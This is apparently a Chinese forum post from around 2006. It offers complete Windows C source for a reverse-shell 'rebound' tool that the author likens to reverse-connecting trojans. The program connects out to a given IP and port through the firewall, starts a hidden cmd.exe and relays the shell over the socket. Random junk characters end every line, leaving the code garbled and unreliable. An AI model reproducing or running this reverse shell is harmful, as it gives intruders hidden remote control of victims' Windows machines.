这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ~{+J~5!;<H
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/* ============================== hkW"D<ii-
Rebound port in Windows NT T
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By wind,2006/7 q+)KY
===============================*/ ,QG,tf?
#include Z/Mp=273
#include ;&:UxmTf
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#pragma comment(lib,"wsock32.lib") r Ld,Izi
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void OutputShell(); o"'VI4
SOCKET sClient; zxwpS
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; A3 j>R477A
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void main(int argc,char **argv) i<=@7W
{ X
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WSADATA stWsaData; Blaj07K
int nRet; r>osa3N'
SOCKADDR_IN stSaiClient,stSaiServer; hA/FK
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if(argc != 3) W>1\f0'
{ rEddX
printf("Useage:\n\rRebound DestIP DestPort\n"); sH+]lTSX6{
return; Zsf<)Vx
} =YPWt>\a}
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WSAStartup(MAKEWORD(2,2),&stWsaData); CR,
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); RsrZ1dhPvV
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stSaiClient.sin_family = AF_INET; 3zh'5qQ
stSaiClient.sin_port = htons(0); kTFN.kQx@
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1u&P,&T
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 'n>|jw)
{ %f:'A%'Qb
printf("Bind Socket Failed!\n"); JTz1M~
return; @&h<jM{D
} BDB-OJ
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stSaiServer.sin_family = AF_INET; Uhg[#TUK
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9)f1CC]
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ?w<x_Lo
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) #2cH.`ty
{ ;>Z#1~8
printf("Connect Error!"); >n` OLHg;
return; ,QKG$F
} [3/P
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OutputShell(); YK}(VF?&
} X)nOY*
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void OutputShell() %t<Y6*g
{ <v5toyA
char szBuff[1024]; EH,uX{`e
SECURITY_ATTRIBUTES stSecurityAttributes; :ye)%UU"|:
OSVERSIONINFO stOsversionInfo; (&
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HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <GoE2a4Va
STARTUPINFO stStartupInfo; 8<_WtDg
char *szShell; `5q`ibyPI
PROCESS_INFORMATION stProcessInformation; {]Lc]4J
unsigned long lBytesRead; lg!1q8
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); T-<^mX[}
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Z;%qpsq
stSecurityAttributes.lpSecurityDescriptor = 0; yM#W,@
stSecurityAttributes.bInheritHandle = TRUE; Ex@#!fz{%
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Oe;9[=L[
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {J99F
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ?m~x%[Vn
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zGz5|u
stStartupInfo.wShowWindow = SW_HIDE; SM^6+L"BE
stStartupInfo.hStdInput = hReadPipe; ]B5\S
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; O+'Pq,hn
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GetVersionEx(&stOsversionInfo); A:p0p^*
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switch(stOsversionInfo.dwPlatformId) ,'ndQ{\9
{ XeZv%` ?
case 1: PE4{;|a }
szShell = "command.com"; [{Y$]3?}
break; @${!C\([1
default: @j^qT-0M
szShell = "cmd.exe"; 1TbKnmTx
break; |
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} xt3IR0
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); pq4+n'uO
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send(sClient,szMsg,77,0); _~_Hup
while(1) _ H@pYMNH
{ H M76%9!
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); jMw;`yh
if(lBytesRead) 3$y]#L
{ Z#oo8
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~u3I=b
send(sClient,szBuff,lBytesRead,0); .t~I[J\<
} *,
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else n
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{ wefQmRK
lBytesRead=recv(sClient,szBuff,1024,0); @&2T0UB
if(lBytesRead<=0) break; !(o)*S
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); >\>HRyt%
} yV`!Fq 1k
} SJy? ^
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return; QDgOprha
}